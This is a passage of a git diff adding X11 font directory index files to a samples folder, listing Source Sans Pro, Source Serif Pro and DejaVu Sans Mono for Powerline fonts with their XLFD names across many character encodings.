+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-BoldIt.otf -adobe-source sans pro-bold-i-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-10
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-4
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-5
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-koi8-e
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-koi8-r
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-koi8-ru
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-koi8-u
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-koi8-uni
+SourceSansPro-ExtraLight.otf -adobe-source sans pro extralight-extralight-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-ExtraLightIt.otf -adobe-source sans pro extralight-extralight-i-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-It.otf -adobe-source sans pro-medium-i-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-10
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-4
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-5
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-koi8-e
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-koi8-r
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-koi8-ru
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-koi8-u
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-koi8-uni
+SourceSansPro-Light.otf -adobe-source sans pro light-light-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-LightIt.otf -adobe-source sans pro light-light-i-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-10
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-4
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-5
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-koi8-e
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-koi8-r
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-koi8-ru
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-koi8-u
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-koi8-uni
+SourceSansPro-Regular.otf -adobe-source sans pro-medium-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-10
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-4
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-5
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-koi8-e
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-koi8-r
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-koi8-ru
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-koi8-u
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-koi8-uni
+SourceSansPro-Semibold.otf -adobe-source sans pro semibold-semibold-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-ascii-0
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso10646-1
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso8859-1
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso8859-13
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso8859-15
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso8859-16
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso8859-2
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso8859-3
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-iso8859-9
+SourceSansPro-SemiboldIt.otf -adobe-source sans pro semibold-semibold-i-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-ascii-0
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSerifPro-Black.otf -adobe-source serif pro black-black-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-ascii-0
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSerifPro-Bold.otf -adobe-source serif pro-bold-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-ascii-0
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSerifPro-ExtraLight.otf -adobe-source serif pro extralight-extralight-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-ascii-0
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSerifPro-Light.otf -adobe-source serif pro light-light-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-ascii-0
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSerifPro-Regular.otf -adobe-source serif pro-medium-r-normal--0-0-0-0-p-0-microsoft-cp1252
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-ascii-0
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-iso10646-1
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-1
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-13
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-15
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-16
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-2
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-iso8859-9
+SourceSerifPro-Semibold.otf -adobe-source serif pro semibold-semibold-r-normal--0-0-0-0-p-0-microsoft-cp1252
diff --git a/samples/X Font Directory Index/filenames/fonts.scale b/samples/X Font Directory Index/filenames/fonts.scale
new file mode 100644
index 0000000000..1d40614205
--- /dev/null
+++ b/samples/X Font Directory Index/filenames/fonts.scale	
@@ -0,0 +1,89 @@
+88
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-ascii-0
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso10646-1
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-1
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-10
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-13
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-15
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-16
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-2
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-3
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-4
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-5
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-iso8859-9
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-koi8-e
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-koi8-r
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-koi8-ru
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-koi8-u
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-koi8-uni
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-microsoft-cp1252
+DejaVu Sans Mono Bold Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-bold-o-normal--0-0-0-0-m-0-suneu-greek
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-ascii-0
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso10646-1
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-1
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-10
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-13
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-15
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-16
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-2
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-3
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-4
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-5
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-6.16
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-6.8x
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-iso8859-9
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-koi8-e
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-koi8-r
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-koi8-ru
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-koi8-u
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-koi8-uni
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-microsoft-cp1252
+DejaVu Sans Mono Bold for Powerline.ttf -misc-dejavu sans mono for powerline-bold-r-normal--0-0-0-0-m-0-suneu-greek
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-ascii-0
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-ibm-cp437
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-ibm-cp850
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-ibm-cp852
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-ibm-cp866
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso10646-1
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-1
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-10
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-13
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-15
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-16
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-2
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-3
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-4
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-5
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-iso8859-9
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-koi8-e
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-koi8-r
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-koi8-ru
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-koi8-u
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-koi8-uni
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-microsoft-cp1252
+DejaVu Sans Mono Oblique for Powerline.ttf -misc-dejavu sans mono for powerline-medium-o-normal--0-0-0-0-m-0-suneu-greek
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-ascii-0
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-ibm-cp437
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-ibm-cp850
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-ibm-cp852
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-ibm-cp866
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso10646-1
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-1
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-10
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-13
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-15
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-16
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-2
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-3
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-4
+DejaVu Sans Mono for Powerline.ttf -misc-dejavu sans mono for powerline-medium-r-normal--0-0-0-0-m-0-iso8859-5
